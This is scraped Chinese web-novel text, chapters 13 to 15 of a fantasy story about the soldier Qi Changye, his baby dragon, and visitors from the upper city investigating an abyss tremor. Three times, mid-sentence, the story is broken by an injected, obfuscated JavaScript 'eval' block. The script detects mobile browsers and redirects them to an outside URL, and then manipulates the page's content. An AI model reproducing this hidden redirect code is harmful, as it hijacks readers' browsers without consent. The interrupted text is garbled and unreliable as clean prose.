;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119883|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他张口就是几连问，“你要去哪？深渊？还是做什么任务？又要用精神力了？” 祈长夜：“散步。” 安德森提起的一口气松掉了：“散步好啊，散步有利于身心健康。我之前经常喊你出去走走，你都不听的。” 祈长夜安静地听着，小祈霁坐在他的肩膀，拨弄他冰凉柔软的发梢。 小龙的动作太过自然，以至于安德森多看了几眼。 “养只小宠物，确实有助于纾解心情。”他提议，“要不要多养几只？” 小祈霁：“？” “不是宠物，”祈长夜说，“它是祈霁。” “祈……霁？”安德森停顿一下，“好名字。” “还有，入秋了多穿点，你看看你，穿这么少，本来身体就不好，还不知道保暖，多大人了，还要老人家提醒。” 祈长夜无言，小祈霁坐在他的肩膀，笑得一抖一抖。 安德森：“笑什么笑，你也是，黄豆点大，不多穿点，风一吹就把你掀飞了，到时候去垃圾堆里翻你吗。” 小祈霁：“……” 祈长夜把小龙接到手中，为它挡风，说：“知道了，医生，我们先走了。” 安德森：“还有，多喝热水。” “……嗯，您也是。” 散步回来，已是夜晚。灯光洒满玄关，照亮脚下毛茸茸的地毯。 左右的柜架，边角都被绒毛包裹，往前隔开的一小块区域，暖色的小窝，散落着一些玩具和糖果。 祈长夜站在门口，不知什么时候，他的家里，多了一些柔软的东西。 小龙跳上玄关，熟练地扒住衣架，沿着他的衣服爬上去。 灵活地爬到衣架顶端，好像征服了一座高山，得意洋洋地昂起小脑袋，冲他软软地叫。 回家啦。 祈长夜轻应一声，走进家门。 —— 几天后的清晨，细碎的雨珠沿着伞面滚落，映出伞沿下，一双琉璃般的眼眸。 临街的诊所，大门紧闭。泥泞的地面，布满凌乱脚印。 祈长夜停步，衣兜里，小祈霁冒了出来，小爪爪扒拉着衣袋边缘：“嗷？” “没事。”祈长夜轻点它的小脑袋，“你先别出来。” 小祈霁乖乖地缩了回去，在哥哥的衣袋里，抱住哥哥给它的糖。 祈长夜没有敲门，径直推门而入。 一楼角落，有人受惊而起，见到祈长夜的脸庞，又沿着墙缓缓滑了下去。 “祈，祈队……” 那是安德森的助理，好像要哭出来，却又不敢大声说话，只能挤出一些断断续续的字语。 “有人来了……是……是上城……” “你先回去。” 祈长夜神色不变，嗓音清沉平稳，如同一针强力镇定剂，让助理一下子定住心神。 他用力地点点头，目送那道修长挺拔的身影拾阶而上，衣角掠过二楼转角。 “一个不入流的治愈系进化者，治疗方案也这么拙劣。” 不高不低的男声，含着笑意，轻慢慵懒。 “你也配靠近我们的祈队？知道在上城，有多少人排着队也想见他一面，祈求他施舍一个眼神吗？” 足足十几位进化者堵在二楼，身穿黑色制服，面庞被漆黑面具覆盖，散发逼人的气势，围成一道不可逾越的高墙。 祈长夜神情冰冷，无尘的眼眸漠视所有人，大步踏前。 高墙沉缓无声地向两侧退开，落地窗边，一人斜坐沙发上，双腿交叠，面前跪着不断战栗的安德森。 祈长夜：“放他走。” 短短三个字，如冷雪坠地，溅起森然寒意。 沙发前，那个人笑了。 “明明只要向我递个信，求一求我，哪怕只是说句软话，无论相隔多远，我都会来帮你的。” 那个青年扬起脸庞，黑色的及腰长发，一双黑得发亮的眼睛。 “好久不见，哥。” 13.第十三章 哥哥，救救 “这座C级下城，连空气都那么难闻，你宁愿待在这里，都不愿意来求一求我？” 青年站在落地窗前，轻佻的目光，游离在祈长夜脸庞之间。 “谢荇，”祈长夜神色不变，只有一句，“谁教你和我这么说话。” 当着众人的面，这句话和往那个名为“谢荇”的青年脸上扇了一个巴掌没什么区别。然而，谢荇的眼角眉梢都不带一丝变化，只是往旁边扫了一眼。 “你们都出去。” “是。” 十几位强大的进化者领命，温驯转身，如家养的鹰犬一般，沿着楼梯退去。 祈长夜扶起安德森，扫了谢荇一眼。 他的目光没有丝毫温度，谢荇却好像很受用似的，语调都上扬了：“我会让他们滚出这栋屋子，不再踏入这里一步。” 祈长夜不再理会他，转向安德森：“医生，抱歉，你先去楼下。” 安德森：“……我，我没事。” 他拍拍祈长夜手臂，想说什么，还是没说出口，慢慢走了。 窗外的雨未停，乌云沉沉压下，无灯的二楼只剩下两个人，隔着数步距离，相似却又完全不同的黑发黑眸。 谢荇重新坐回沙发，想了想，毫无仪态地往后一摊。 他的衣着华贵，浑身散发骄矜的气质，哪怕做出这个动作，也十分顺眼。 “刚才他们在，我只能摆出那个样子，不然，他们又要和家里的老家伙多嘴了。” 谢荇单手托着下颌，借着昏暗的光线，打量那位眉目分明，冷淡昳丽的年轻男子。 “哥，你瘦了。” 祈长夜没有回应，只是漠然地垂眼俯视他。 谢荇从善如流地改口：“祈队。” 祈长夜：“为什么对医生动手。” “他居然想把那种粗劣的治疗方式，用在你身上。”谢荇挑眉，“换成两年前的我，早就杀了他，丢河里喂鱼。” “——对不起，我开玩笑的，别这么看着我，我怕。” 祈长夜无动于衷：“你来这做什么。” “为了你啊。” 谢荇微昂下颌，用一种理所当然的语气说。 “上城研发了一种新药物，可以恢复精神力。” “这种前所未有的药物，整个上城也只有三支，其中一支，在我这里。” “只要你和我回去——” 祈长夜：“不可能。” 他毫不犹豫地转身，背后传来谢荇的声音：“等等。” “再留一会吧，到了下面，又是那些谢家的人。” 谢荇丝缎般光洁的黑发垂下，像是不经意地遮住他的表情。 “好久不见，我……有点想你了。” “嗷！” 有什么东西直接从祈长夜的衣袋里蹿了出来，一下子压住谢荇后半句的尾音。 祈长夜垂眸，接住他的小龙。 谢荇坐直了身体：“什么东西。” 他漆黑的眼睛映出一只丑陋而渺小的怪物，正用两只畸形的变异爪子，抓住祈长夜手指，苔藓一样黏在他身上，撕都撕不下来。 祈长夜看着黏糊糊抱着自己蹭蹭的小祈霁，从那双大大的龙瞳里，读出了气呼呼的情绪。 还有，几分不安。 “认识一下，”他抱起小龙，“这是祈霁。” “……” 有那么几秒，谢荇的表情难以言喻，似乎根本无法理解。 但很快，他不知想到什么，反而微微笑了起来。 “原来如此。” 谢荇满面春风。 “你还在意以前我和你说的……” 祈长夜根本没理会他说了什么，发现小祈霁阴森森地抬着爪子，似乎很想挠人，安抚地顺着它的脑袋一路摸到脊背。 小祈霁顿时不气呼呼了，缠在他的指间，很委屈似的，发出低低的“呜呜”声。 祈长夜不知道这只小龙怎么了，但看得出来，它不喜欢这里。 “不管你想做什么。”他直视谢荇，“别碰这里的人。” “——看来动了他们，也会得到和布林诺那个蠢货一样的下场。” 阴沉的声音沿着楼梯传来，一位老者缓步而上，一双灰色眼眸像黑暗里啄食的鹰。 他盯着祈长夜，缓缓开口：“三年不见，祈队风采依旧。” 祈长夜语气不变：“你更老了。” 老者一噎。 谢荇：“不是让你们出去吗。” “少家主，您的安危比整座芙洛城还重要。”老者恭敬行礼，“要是您出事，家主大人，还有您舅舅，都会杀了我的。” “有祈队在，我不会有事。” 谢荇对祈长夜勾起嘴角，发现后者并没有看他，而是在一下下抚摸掌心里那只丑陋的生物。 他的目光停留得久了，一双浅金色的龙瞳竖起，冰冷地凝视他。 老者上前一步：“祈队，您应该也很感兴趣，我们为何而来。” 祈长夜：“不感兴趣。” “……不久前，这座下城所管辖的深渊，出现了辐射至所有深渊的恐怖地震。” “恰好，你们刚从深渊探测出帝龙血脉，又被戳破是个谎言。” “恕我直言，恐怕从一开始你们就是错的，真正的帝龙，还在深渊之下。那场地震，就是证明。” 小祈霁：“？” 祈长夜与它对上视线。 “如果能找到帝龙，交由祈队抚养，也不是不行。” 老者扫了眼祈长夜掌心里的怪物。 “所以，祈队何必眷顾这种丑陋的废物？” 祈长夜：“你再说一遍。” “对不起，是我失言。”老者飞快改口。 小祈霁轻轻摇了摇祈长夜手指，发出小小的“嗷嗷”。 不喜欢他们。 想回家。 祈长夜转身，毫不停留地向楼下走去。 “我可以去找你吗？” 谢荇快走几步，追上他的背影。 “这些年，我一直没有忘记以前的事情……直到现在，我还会做经常噩梦……” 祈长夜：“那就去看医生。” 谢荇：“……” “以前……孤儿院里，只有哥陪着我。” 他微微低下了头， “如果没有哥，我真是不知道该怎么活下去……” “我不会打扰你现在的生活，至少，给我一个能偶尔找到你的方式，可以吗？” 祈长夜脚步微停。 小祈霁垂下脑袋，依恋地贴上他的手背，一下一下磨蹭。 祈长夜回头，报出一串数字。 谢荇：“听着不太像私人通讯码。” “紧急救援电话。”祈长夜说，“没事别打。” “……” 一楼，安德森蹲在墙角，看着那位清隽高挑的年轻男子从二楼的昏暗中一步步走下，淡漠的眼眸，沉入晦暗的光影里。 “治疗推迟。”祈长夜说，“医生，回去休息吧。” 安德森：“那你呢，你怎么办？” 祈长夜平静地说：“我的休假结束了。” —— 细碎的雨珠打湿窗户，小祈霁抱着一颗没有拆开的糖，脑袋搁在桌上，一动不动。 它在看身边的人。 祈长夜的目光落在窗外，望着蒙蒙雨幕，清冷的眉眼，染上几分恹色。 旧人，旧事，并没有给他带来多少厌恶，而是一种难言的疲惫。 就像深渊经年不散的寒意，雨夜阴冷潮湿的水汽，裹挟于身，无法挣脱。 手腕贴上一份小小的柔软，祈长夜垂眼，他的小龙黏黏地依偎着他，举起一颗糖。 拆不开，帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122188|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮。 祈长夜拆开包装纸，这是一颗柠檬味的糖，酸酸的。 涉世未深的小龙“嗷呜”一口咬住，酸得龇牙咧嘴。 在桌子上飞快转圈圈。 祈长夜眼睫垂下柔和的弧度，声音很轻：“你会走吗？” “嗷？” 小祈霁看看他，钻进他的袖子里，露出一条摇来摇去的小尾巴。 “叭！” 不走！ 祈长夜：会新的语气词了。 他拿起彩色绘本，让小祈霁趴在自己的膝上，继续教它人类的语言发音。 一场雨从白天落到晚上，卧室窗帘遮蔽雨幕，柔软的被褥里，祈长夜捧着小龙，喂它喝刚刚热好的牛奶。 抱起来，晃一晃。 “是不是变大了一点？” 小祈霁：“！” 小祈霁看看自己，追着尾巴转了一圈。 得意洋洋地叉腰。 祈长夜揉揉小龙，把它放到枕边的小床上，轻轻拉起那张小小的被子。 “晚安。” “呜啦！” 几秒后，无光的房间里，飘起了生锈的锯子锯木头一样的歌声。 “……” 夜色轻纱般落下，静谧的黑暗里，一双浅金色的龙瞳如火燃起。 小龙趴在年轻男子身边，细长的尾巴轻轻拂过那张薄白美丽的侧脸，像是圈住了这个人。 为什么哥哥还有其他人？ 那双金色的龙瞳，安静地凝视人类的睡颜，夜色太深，窥不见瞳孔深处的情绪。 只要，依赖我一个就好了。 …… 【哥哥，哥哥】 熟悉的声音，透过梦境，来到他的身边。 少年的声音清朗又悦耳，不知道为什么，好像有点酸。 【哥哥更喜欢我，还是讨厌那个很难看很难看的人类？】 祈长夜心想这是什么问题，随口道：“都不喜欢。” 【哥哥——！！】 少年开始嗷嗷叫。 祈长夜沉默，好像又看到了一只炸毛小龙，在他面前跳来跳去。 少年不开心了一小会，退而求其次，满是委屈地，小小声地说：【那，哥哥会选我，还是选他？】 祈长夜：“都不选。” 【……哥哥！！！】 少年嗷得更大声了。 “我选，小祈霁。” 【……】 世界忽然静音了。 【喜欢哥哥】 一秒后，甜滋滋的声音响起。 【哥哥，再等一等我】 亲昵的尾音擦过耳畔，像是甜蜜的悄悄话，也是一个珍重的承诺。 祈长夜睁开眼，望见微薄的天光。 他似乎做了一个梦，梦中的内容，却记不太清了。 脸侧软软的，是小祈霁在不停地磨蹭他。 祈长夜偏过脸，这条小龙很开心地围着他跳来跳去，像只灵活的小弹簧。 吧唧一下。 亲了一口他的脸。 祈长夜：“……？” 祈长夜坐起，拎起小祈霁，晃一晃。 小龙黏住他的手指，用软乎乎的小肚子贴住他。 祈长夜松手，小祈霁又追了过来，弹来弹去，好像在跳小踢踏舞。 是条开心小龙。 通讯器亮起，收到一条消息。 祈长夜还没伸手，小祈霁已经先把脑袋探了过去，幽幽地盯住。 通讯器上，弹出一条陌生的消息。 【哥，救我】 小祈霁：“？” 小祈霁不跳了。 变成了不开心小龙，啪叽一下瘫在被子上。 一秒后，开始扭来扭去。 爬不起来啦。 救救，救救。 祈长夜：“……” 14.第十四章 小龙的鳞片 祈长夜把滚来滚去的小祈霁从被子上捞起来，抱着这只软趴趴的、好像没骨头似的小龙，去浴室洗漱了。 被抱起来的时候，小祈霁还愣了一下，似乎没想到祈长夜会这么快起身。 看到那条消息，一秒都没有犹豫，就起来了。 浴室水声响起，被温热的毛巾包裹的小龙看着眼眸没什么情绪的祈长夜，往毛巾里缩了缩。 要出门了吗？ 要去找别人？ ……还没有吃东西。 小龙垂下脑袋，小爪爪按住肚子，有点小难过。 只是几个字，就要抛下它出门了…… 过了一会，小祈霁又被一只修长的手勾了起来，它没精打采地趴在有着好闻气息的指间，头顶仿佛飘来了下雨的小乌云。 祈长夜打开门。 小祈霁把脑袋埋进尾巴里，缩成小鸵鸟。 祈长夜关上门。 走到餐桌边，放下刚刚送来的小蛋糕。 “先吃饭，别饿肚子。” “！” 小祈霁一下子探起脑袋，看看祈长夜。 祈长夜叉起一块蛋糕，送到它嘴边。 小乌云瞬间消散，小龙张嘴，咬住叉子。 以往他们的早餐都吃得很快，但，今天不知道为什么，一整块香香甜甜的蛋糕，小祈霁吃得慢吞吞，磨磨蹭蹭，一小口蛋糕，都要细嚼慢咽很久。 那双忽闪忽闪的龙瞳，时不时偷瞄祈长夜一眼。 祈长夜已经吃完了营养剂，颀长手指轻搭桌面，就那么安静地坐在小祈霁旁边，没有出声，也没有催促。 等小祈霁慢慢慢慢咽下最后一块蛋糕，又一小点一小点地啃完蛋糕上面的樱桃，祈长夜才出声询问：“吃饱了吗？” 小祈霁飞快摇头。 祈长夜起身，洗了一颗苹果，仔仔细细地削皮，耐心切成小块。 小祈霁又开始慢吞吞、一小口一小口地啃苹果，很努力，很忙地在吃，像搬家的小蚂蚁，给苹果造成了表面伤害。 祈长夜：“慢点，别噎着。” 小祈霁昂起一点小脑袋，看看他，“嗷”了一声。 尾巴扬起一点点。 继续努力地创伤苹果表皮，很忙，不知道在忙什么。 忙碌的小龙花了大半个早上，才磨掉一整颗苹果，瘫在祈长夜指间。 吃撑啦。 走不动啦。 祈长夜轻揉它软乎乎的小肚子：“那就休息一会。” 小祈霁一眨不眨地看着他，软软的小尾巴摇得飞快。 又过半小时，祈长夜给小祈霁套上毛绒绒的衣服，带着这只乖乖摇尾巴的小龙出门了。 芙洛城，城主办公室。 雅歌坐在办公桌后，笑吟吟地让助理为客人换掉凉了的红茶。 三声不疾不徐的轻响，办公室门扉启开，一道修长清隽的身影，映入众人眼帘。 沙发上坐着两人，昨天的谢荇和那位老者。他们身后，一位戴着面具的进化者默立。 “……祈队。” 谢荇似乎有点委屈地看过去。 “怎么现在才来。” 他旁边的老者皮笑肉不笑：“祈队真是贵人事多。” 祈长夜的眸光没有分毫落到那边，只是向雅歌致意：“城主。” “来了，坐吧。”雅歌抬手，“这位谢家少家主问我要了你的联系方式，给你发的消息，你应该是没收到。” 祈长夜：“通讯器没电。” “哎呀，那可是大事。”雅歌点了点头，“没电不能出门，可以理解，可以理解。” 谢荇：“……” 他的目光定在祈长夜身上，看见那只丑陋的怪物正趴在他的手腕间，用难看的爪子拨动他的手指。 谢荇眉梢一动。 “这位乌城的费尔大人，带来了议事厅的新命令。” 雅歌的手向谢荇身边的老者虚虚一托。 “这几天，乌城派来的进化者会调查我们管辖的深渊，找出地震的真相，这段时间，芙洛城将全力配合。” 名为“费尔”的老者不紧不慢地开口：“这一块深渊，我们并不熟悉，到时候，还要祈队帮忙。” “他去不了，我已经给他派了更重要的任务。”雅歌一口回绝。 “有什么任务，能比议事厅的命令还重要。” 费尔轻敲手腕，腕间镶嵌的芯片弹出一道光屏，映出滚动的金色电子卷轴。 “看清楚了，这可是第三席大人亲自签发的议事令。” “祈队应该还没有忘记，第三席大人，是我们少家主的舅舅，是他最亲的亲人——对你，也是有大恩的。” 金色卷轴的末端，飞扬的笔锋，勾勒出一道签名。 ——第三席 明蓝。 祈长夜的视线停在那个落款间，乌黑的眼眸，沉淀着无法看清的情绪。 谢荇微微勾起嘴角：“祈队，这几年，舅舅也很惦记你。” 小祈霁仰头看着身边的人，浅金色的龙瞳划过一丝暗色。 又是这样。 又是，它不知道的人。 小龙紧紧抱住它的人类的手指。 “许久不见明蓝阁下，下次有机会，替我向他问好。”雅歌说，“不过，明蓝阁下要是知道我给长夜分配的任务，也会理解的。” “怎么，城主的意思是，你们芙洛城，要再一次违抗议事厅的命令？” 费尔阴恻恻地开口。 “我虽然老了，好歹也是位S级进化者，对于违抗议事厅敕令的人，有权处置。” “S级进化者，很稀奇吗？” 雅歌轻敲桌面，指间一瞬间爆开灼烈的电光。 “真巧，这也有一个呢。” 费尔的眼神陡然阴鸷，气势开始攀升。 就在这时，他的余光里，那道修长的黑衣身影踏前一步，如无声而迅速出鞘的利刃，裁裂两边的界线。 剑拔弩张的气氛转眼消弭于无形，费尔呵呵一笑：“以第三席大人和祈队的关系，想必，也不会介意。” “是啊，老师，别太冲动。”谢荇看着祈长夜，语调轻淡，“都是自己人。” 雅歌微微一笑，春风化雨：“既然是议事厅的正式命令，我们当然会在条件允许的情况下，全力配合。” “今夜，有一场晚宴，为贵客接风洗尘。” —— 三位乌城来客离开，祈长夜端起红茶，小祈霁有点好奇地凑过来，被他喂了一小口。 这只小龙顿时皱成一小团。 苦哒。 抬起小爪爪，按住祈长夜的手。 不准喝。 祈长夜拿出一颗糖，晃一晃，被小祈霁接住了。 “不久前，城外的深渊发生了剧烈地震，连乌城那边都探测到了。”雅歌双手轻搭在一起，“不过，地震只持续几十分钟，此后再未有过异常。” “没告诉你，是不想打扰你。安德森说过，你的身体不宜再进入那里。” “现在看来，乌城那几个人，想把你一起拉下深渊。” 掌心里的小龙有点气呼呼的，爬来爬去。 祈长夜摸摸小祈霁，说：“不要紧。” 雅歌：“我希望，你能出席今天的晚宴。” 祈长夜：“好。” 雅歌解释了一下：“这次的深渊调查由乌城主导，我们配合。他们带来了不少进化者，今晚就会和我们正式接触。以防来者不善，我们这边，需要一个能震慑他们的人。” “我知道。” 祈长夜平静地说。 “这是我的职责。” 办公室的门打开，小祈霁摇摇祈长夜手指：“叭。” 回家了嘛？ “嗯。” 祈长夜轻应一声，目光落在它身上，若有所思。 深渊震动的时间，刚好对上这条小龙破壳、从垂死到恢复，最终睁开眼睛的那段时间。 是巧合吗？ 小祈霁与他对视两秒。 冲他歪了下小脑袋，撒娇。 祈长夜眼底的墨色微微化开。 长廊一侧，刚刚离开的乌城来客，并未远去。 谢荇走过来，语调轻快：“送你个礼物。” 他勾起的手指，提着一只精巧的金制笼子。 笼子里，一条雪白的小蛇左顾右盼，露出红宝石般的眼睛，吐出软软的信子。 小祈霁：“？” 小龙嗖一下就蹿到祈长夜肩膀上了，凶巴巴地举起两只小爪子。 谢荇毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122189|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意，笑着说：“你捡到的‘帝龙’，可没有一点龙的样子。” “旧地球时代记载过一种生物，四爪，长条，爬行，叫——蜥蜴。” “这种外貌的怪物，也曾出现在另一块深渊，而且，离这座下城不远。” “当然，它们都一样丑陋，不如我这个小家伙。” 他摇晃一下笼子，里面的白蛇温顺地趴俯。 它和小龙有几分相似，都是细长一条。柔软的身躯无暇若雪，每一块鳞片，都折射特殊的鳞光。 像精心雕琢的钻石，精致又漂亮。 小祈霁：“……” 小祈霁看看那条美丽的白蛇，再看看自己。 光秃秃的身躯，没有一块鳞片。 不闪亮，也不好看。 明明是相似的生物，只有它，黯然失色。 这一刻，这条小龙好像有点难过。 蜷缩成小小一团，耷拉下脑袋。 比它还好看……哥哥会不会不要它了？ 小龙越想越难过，甚至不敢看向祈长夜，只有四只小爪爪，紧紧地揪着薄薄的衣角，不肯撒开。 ——然后，蔫巴巴的小龙，被一只修长的手捧起，温柔地拢在指间。 “没我的好看。” 抛下这句话，祈长夜抱着呆呆的小龙，径直走了。 “……” 谢荇停在原地，看看那道远去的背影，再看看手里的笼子。 片刻后，他喃喃冒出一句：“一定要把他带回去……再在这个鬼地方待下去，迟早眼瞎。” “大人。” 另一侧的角落，戴着面具的进化者对费尔低语。 “我看那个人早就不是当年的他了，何必忌惮？家主的命令已下，不如我们……” “你忘了，当年的第十席怎么死的？”费尔冷冷地说。 “他孑然一身，毫无软肋。只是被负罪感和自身的道德标准约束，对一些微小的冒犯与试探，并不在意。” “但，他可不是什么善人，当年最大的那盘棋就是被他掀翻的，你想让他见血，他必定会用更加惨烈的血来还你。” 进化者声音一抖：“哪怕……我们有几位S级？” “S级？” 费尔哼笑一声。 “我们加在一起，在当年全盛的祈副队面前，还不够杀的。” —— 玄关的灯刚刚打开，小祈霁就从祈长夜的袖子里钻了出来。 祈长夜看着这只小龙揣着小爪爪，自己和自己纠结了一会，望着他的眼睛，小小地“叭”了一声。 哥哥不养那个东西嘛？ “不养。” 小祈霁下巴抬起一点，搁在他的指间。 为什么？ 那个东西不是很好看嘛？ 祈长夜：“我又不是因为你好看，才养你的。” 小祈霁飞快支棱起脑袋。 我不好看嘛？ 祈长夜摸摸它：“这个不是重点。” 小祈霁似乎安心了几分，依偎着他，窝成小小一团，软软的尾巴摆啊摆。 过了几秒，又没忍住，揪揪祈长夜衣角。 “嗷嗷。” 要是，要是以后，还有其他很好看，很可爱的东西—— “那也不养。” 祈长夜平静地说。 “他们都不是你。” 小祈霁好像有点呆，一动不动地看着他。 祈长夜捧起这条小龙，垂下眼睫，落字清晰，不假思索：“祈霁，是唯一的。” 所以，不要难过。 也不要自卑。 我不会丢下你。 小祈霁很安静，睁着大大的龙瞳，过了几秒，轻轻地眨巴一下。 下一秒，这只小龙一脑壳扎进祈长夜掌心，嗷呜嗷呜地拱来拱去。 那条小尾巴像欢跃的蝴蝶，在祈长夜眼中跳动，忽然，他注意到了什么，抬手。 纤长手指温柔地托起小龙的尾巴，小小的尾巴末端，那道伤疤一直没能祛掉，像是无法抹除的烙印。 然而，伤疤另一侧，有什么东西，正在一闪一闪。 银白的，美丽的鳞片，像是一颗小小的碎钻。 属于小龙的，第二枚鳞片。 闪闪发亮。 15.第十五章 血光 一枚小小的鳞片，长在尾巴末端，随着小尾巴的跃动，闪烁着细碎的光泽。 美丽的银白色，像雪天无暇的冰晶，光洁璀璨。 第二枚鳞片，就这样悄无声息地诞生了。 小祈霁一开始还没反应过来，直到祈长夜戳戳它，它才扭头，看见了自己小尾巴上的鳞片。 然后祈长夜就收获了一条欢天喜地的弹簧小龙。 “呜啦！” 小祈霁弹弹跳跳，好像一只开屏的小孔雀，围着祈长夜转圈圈，不停抖落漂亮的尾羽。 祈长夜伸了根手指，轻轻捏住小祈霁的尾巴尖尖。 小龙一动不动，乖乖地睁着溜圆龙瞳。 祈长夜指腹蹭过那枚漂亮的鳞片：“不准咬。” 小祈霁乖巧地点点脑袋。 祈长夜松手。 小龙又开始蹦迪。 高高抛起糖果，跳起来接住，高高抛起糖果，跳起来接住。 我是哥哥最喜欢的小龙！ 啪叽。 糖果掉地上，碎了。 小祈霁：“？” 祈长夜抬手，再放下时，桌边多了一整罐糖果。 小祈霁看着那罐糖，没有动。 祈长夜拾起一颗，放到它的小爪爪上：“玩吧。” 浅金色的龙瞳弯成月牙，小祈霁高高抛起糖果，尾巴末端的鳞片闪啊闪。 我是哥哥最喜欢的小龙！ 出门的时候，这只小龙学会了新词。 “啾啾，啾啾。” 哥哥，哥哥。 祈长夜：“。” 龙是这么叫的吗。 小祈霁揪揪他的袖子：“嗷。” 还没有吃饭。 “外面有吃的。”祈长夜说。 小祈霁：“啾。” 不是哥哥做的。 不喜欢。 祈长夜：“要是没吃饱，回来再给你做。” 小祈霁乖乖点头，钻进了他的袖子里。 华灯初上，宴会灯火如昼燃夜。 祈长夜穿过宴会大厅，任由不知多少道目光从他身上掠过，淡定地停在食物区。 “想吃什么？” 琳琅满目的食物，让破壳还不到一个月的小龙惊了一下。 那双浅金色的龙瞳转过一圈，单纯又好奇地“嗷”了一声。 没有糊糊。 祈长夜：“。” 祈长夜：“你想吃，也可以。” 端起最近的奶油焗虾，切下一小块，喂给小龙。 小祈霁大概还是想表示不是哥哥做的我不喜欢吃，非常矜持地啃了一小口。 然后一下睁大了龙瞳。 祈长夜将整盘奶油焗虾端近了一点：“不——喜欢？” 小龙抱住盘子，埋头啃啃啃，吃得非常忙，抽空“嗷”了一声。 没有哥哥做的好吃！ 继续飞快啃啃啃，像饿了几天的小仓鼠。 祈长夜无言。 他给小龙投喂的时候，一道人影溜溜达达靠了过来。 “晚上好，”艾丽娅说，“最近有传言，真正的帝龙还在深渊。” 祈长夜给小祈霁切刚刚烤好的小羊排：“与我无关。” 艾丽娅：“咦，它尾巴上是什么？” “鳞片。”祈长夜轻轻勾起小祈霁尾巴，软软的小尾巴很自然地缠住他的手指，一蹭一蹭。 宴会璀璨的水晶吊顶下，尾巴末端的鳞片依然美丽而闪烁。 艾丽娅：“好小，只有一点点大。” 小祈霁立刻收回小尾巴，不给她看。 祈长夜：“它还小，会长大的。” 小祈霁开心地贴贴祈长夜手指，给他举起一只刚刚努力剥好的虾。 祈长夜摇摇头：“吃吧。” “你还是只吃营养剂吗？”艾丽娅说，“有时候也要改善一下口味，新生活，新味道！” 祈长夜：“这是香草味的广告词。” 艾丽娅：“……营养剂就营养剂，不要搞什么奇奇怪怪的味道啊。” 她一抹脖子：“每次加班只能往嘴里塞营养剂，吃完感觉上吊都没力气了。” 小祈霁又举起剥好的虾：“嗷呜。” 给哥哥。 祈长夜接过那只饱满的虾仁，在小祈霁和艾丽娅的目光中，轻咬一口。 “和营养剂差不多。” “……怎么办啊祈队，”艾丽娅干巴巴地说，“等你退休，只能抱着你的营养剂过去了。” 小祈霁：“？” 小祈霁“嗷嗷”两声，似乎说了什么，艾丽娅不明所以，只是看见祈长夜揉了揉它的小脑袋，眸底灯火的倒影微微荡漾。 艾丽娅：“……为啥我听不懂，人类悄悄进化的时候又忘掉我了？” 说话间，大厅入口传来一阵喧嚣。人群让开，雅歌和谢荇并肩走来。 今晚的谢荇明显精心打扮过，精致考究的白色正装，乌黑长发垂腰，神采飞扬，一看就是无忧无虑，受尽宠爱的贵族独子。 一身黑袍的费尔落后半步，气定神闲。他们身后拥簇着十几位气势强硬的进化者。 “上城的进化者……好恐怖的气场，我都有点喘不过气了。” “那位小公子是谁？” “他可不得了，不仅是上城谢家的少家主，而且，还是第三席大人最宠爱的亲外甥！” “第三席大人？！天呐，那是何等大人物啊！” 艾丽娅正往一块烤吐司上抹冰淇淋，头也不抬：“谢荇，我听过他的事迹。” “先是被乌城老牌家族之一的谢家收养，不久又被议事厅第三席认出是自己失踪多年的外甥，也是存世的唯一亲人。” “那应该是十几年前的事情了吧？不得不说，运气挺好。” 祈长夜一言不发，目光轻描淡写地点过那十几个进化者的腰间。 这些行使着护卫职责的进化者，腰间都配有一把枪。 特殊的漆黑材质，弹匣位置，银蓝的电子流光透射而出。 艾丽娅：“他们的枪……该不会是‘火石’吧？” “没错。” 优雅的女声响起，雅歌走了过来。 “能够压制精神力，甚至使进化者的能力无效化。这种特殊的晶石，只存在少数几片深渊，每一颗都价值连城。” “将火石研磨为子弹，压入枪膛，就能造出猎杀进化者的武器。” “不愧是谢家，果然是大手笔。” 带着这样的杀器参加宴会，毫不收敛身上冲人的气势，乌城的进化者一涌入大厅，就给周围的人带来了极强的压迫感。 人群纷纷退让，不敢和他们对上。那些进化者们见状，脸上流露出了明显的不屑，更有甚者故意快步跨前，强硬地撞开没来得及退避的人群。 ——很快，他们就注意到大厅一侧，站着一位身姿挺拔，黑发黑眸的年轻男子。 顿时，这些进化者们或多或少地收敛了些许。只是如围墙般堵在大厅，没有再做什么。 艾丽娅啧啧称奇，再一次感受到了祈长夜这个名字，对于乌城的震慑。 “火石对深渊的怪物可没用，他们的任务是探索深渊，为什么要配备这样的武器？” 雅歌顺走她手里的烤吐司，咬了一口：“真难猜啊，完全猜不出来呢。” 艾丽娅大叫：“那是我的！” 雅歌：“哦。” 顺手再拿走小祈霁刚剥好的虾：“谢谢。” 